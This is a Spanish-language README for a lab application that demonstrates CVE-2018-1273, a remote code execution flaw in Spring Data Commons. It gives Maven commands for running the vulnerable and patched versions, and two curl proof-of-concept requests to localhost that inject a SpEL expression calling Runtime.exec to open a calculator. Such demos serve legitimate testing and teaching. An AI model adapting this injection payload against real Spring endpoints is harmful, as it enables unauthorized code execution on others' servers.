CVE-2018-1273

Spring Data Commons, versiones anteriores a 1.13 hasta 1.13.10, 2.0 hasta 2.0.5, y versiones antiguas no soportadas, contienen una vulnerabilidad de enlace de propiedades causada por una neutralización incorrecta de elementos especiales. Un usuario malicioso remoto no autenticado (o atacante) puede suministrar parámetros de solicitud especialmente diseñados contra recursos HTTP respaldados por Spring Data REST o utilizando el enlace de carga útil de solicitud basado en proyecciones de Spring Data que puede conducir a un ataque de ejecución remota de código.

Más información aquí

Ejecución

La aplicación se puede probar con la versión vulnerable o la versión corregida de Spring Data Commons.

• Versión vulnerable (por defecto):

mvn spring-boot:run

• Versión corregida:

mvn spring-boot:run -Dfixed

Prueba de la vulnerabilidad

Ejecute el siguiente comando para comprobar si la vulnerabilidad puede ser explotada:

• En Windows:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

• En macOS:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"